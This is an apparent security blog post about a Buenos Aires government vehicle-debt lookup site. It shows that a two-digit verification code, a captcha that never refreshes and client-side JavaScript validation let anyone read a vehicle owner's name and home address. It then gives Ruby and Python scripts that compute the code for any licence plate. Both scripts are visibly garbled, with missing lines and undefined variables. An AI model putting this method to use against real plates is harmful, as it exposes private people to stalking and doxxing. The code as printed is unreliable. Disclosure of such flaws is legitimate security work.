Who hit you? Hacking license plates

This case is about a traffic accident, the team it will use a random license plate for this post in explicative mode. The license plate to use will be JMO 089

The initial question?

Is there a system that allows to request the data and status of a vehicle that is actually on the road? The answer is Yes, there is.

After some requests to Google, we found Rental service in Buenos Aires province that allows requests about the debts status of a license plate that a vehicle has.


The service has two ways to work, if the consultant is not the owner, the person can only get data about automobile’s debts but the system does not allow them to access the sections that identify the registered person in the Auto-motor Register as the vehicle owner.

Additionally, to verify the vehicle ownership, the system asks for for a special unique verification number that only the automobile owner must have, since the same serves to print debts vouchers that include personal data of the vehicle owner, in this way it guarantees the user’s data privacy.

The first thing it could analyze on the site, is the special verification digit of the system, only accepts values between 00 to 99 (the value is not so unique as we thought).

After making some manual tests we found that the system’s captcha is never updated once we are logged-in a session, this allows us to test in a manual way the 100 possible combinations until obtaining the correct one.

In the back image can be seen that the captcha did not change according to the test, this allowed us to keep trying to get a valid code until achieving the right one. This brings the opportunity to develop a Brute Force tool that tests all the possible values until finding the right one. An attack like this does not represents a problem for an attacker when the CAPTCHA verification fails.

In front of this situation, the team looked at what the system uses to validate the correct value of the verification digit.

The first supposition was that the system validates the value on the server side after the query. In order to check this, the team started to verify the queries that the server receives at the moment to send the form.

For this, it used Live HTTP headers.

Technically speaking, if a validation does not present a web request to the Backend, it means that the validation is made on the client side:

The system is validated by JavaScript.

This implies that the validation algorithm of the verification code is in some JavaScript file on the browser side. To assert this supposition, Security Signal started to analyze the document’s HTML source with the objective of identifying some hint about the validation. The first files to be analyzed were:

Inside the consultaDatos.js file, Security Signal found the next function with a revealer name: validaDatos.

if (!check.checked && patente.valido(dom1) != true)

In the same function can be seen in the highlighted lines, the structure where it decides the valid license plate that accomplishes with the requirements and the result of the function patente.valido() needed to resolve correctly the decision of the if() structure.

A complication for the team was that the patente.valido() function did not exist inside the same document. The next step was to find the file where it that function was.

After some searches, we arrived to the next file:

Inside the same we can get the validator code structure:

Complete Function: http://pastebin.com/gYTdC9Yh

After a cautious analysis of the code, we could unveil its final behavior. The code calculates the checker digit based on the vehicle license plate, replacing letters by special numbers to form a decimal string. Then, the code adds, depending on the array of indexes, peers from one side and odd on another.

Then, if this separated values (dig1 and dig2) have an upper length than a digit (0-9), it adds them again respectively until obtaining two numbers in independent form with a length of one digit (0-9).

Finally, it joins them to obtain the checker number:

Sloppily this function does not have any protection and can be called from the development console of Google Chrome or Firefox.

With the checker number we could do the query successfully:

When the team requested an invoice the personal data of the owner can be found, like the registered person’s name and their residential address:

Doing a bit of reversing engineering the team developed the following scripts that allow calculating any checker digit only with the license plate number:


require 'colorize' #By hdbreaker

class Calculate

  def initialize()
    @letrasValidas ={'A' => '14','B' => '01','C' => '00','D' => '16','E' => '05','F' => '20','G' => '19',
     'H' => '09','I' => '24','J' => '07','K' => '21','L' => '08','M' => '04','N' => '13',
     'O' => '25','P' => '22','Q' => '18','R' => '10','S' => '02','T' => '06','U' => '12',
     'V' => '23','W' => '11','X' => '03','Y' => '15','Z' => '17',' ' => '60',};

  def calculate(patente)
    patAux = patente.upcase;
    pares = 0;
    impares = 0;

    @letrasValidas.each { |key|
      if(patAux.include? key[0])
      patAux = patAux.gsub(key[0], key[1]);

   for x in (0...patAux.length)
      if (x % 2 == 0)
        pares += patAux[x].to_i;
        impares += patAux[x].to_i;

    digi1 = pares.to_s;
    while (digi1.length > 1)
      pares = 0;
      for x in (0...digi1.length)
        pares += digi1[x].to_i;
      digi1 = pares.to_s;

    digi2 =impares.to_s;
    while (digi2.length > 1)
      impares = 0;
      for x in (0...digi2.length)
        impares += digi2[x].to_i;
      digi2 = impares.to_s;

    puts "\n############## Rentas Ciudad de Buenos Aires ##############".green
    puts "URL: ".green+"https://lbserver02.agip.gob.ar/ConsultaPat/index.html".red
    puts "Dominio: ".green+patente.red
    puts "Verificador: ".green+digi1.red+""+digi2.red
    puts "\n"

  obj = Calculate.new()
  puts "Usage: ruby calculate.rb [patente]"


#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Author : [Q]3rV[0]

import re

def main():
  letrasPatente={"A":"14", "B":"01", "C":"00", "D":"16", "E":"05", "F":"20", "G":"19", "H":"09", "I":"24", "J":"07", "K":"21", "L":"08", "M":"04", "N":"13", "O":"25", "P":"22", "Q":"18", "R":"10", "S":"02", "T":"06", "U":"12", "V":"23", "W":"11", "X":"03", "Y":"15", "Z":"17", " ":"60"}
  input=raw_input("Nro Patente: ")
  if re.match("[A-Z][A-Z][A-Z][0-9][0-9][0-9]$", patente)!=None:
    for n in patente[0:3]:
    for n in range(len(nums)):
      if n%2==0:

    while len(str(pares))!=1:
      for p in str(pares):

    while len(str(impares))!=1:
      for i in str(impares):

    print "| Patente: %s | DV: %s%s |" % (patente, pares, impares)

    print "[*] Error, Asegurese de que el formato de la patente es correcto. Ejemplo: GTD125"
if __name__ == '__main__':

Security Signal hopes this delivery serves to make awareness about the security of our personal data. We want you to remember the flaw that was found in a governmental network that exposes the people’s personal data in an alarming way.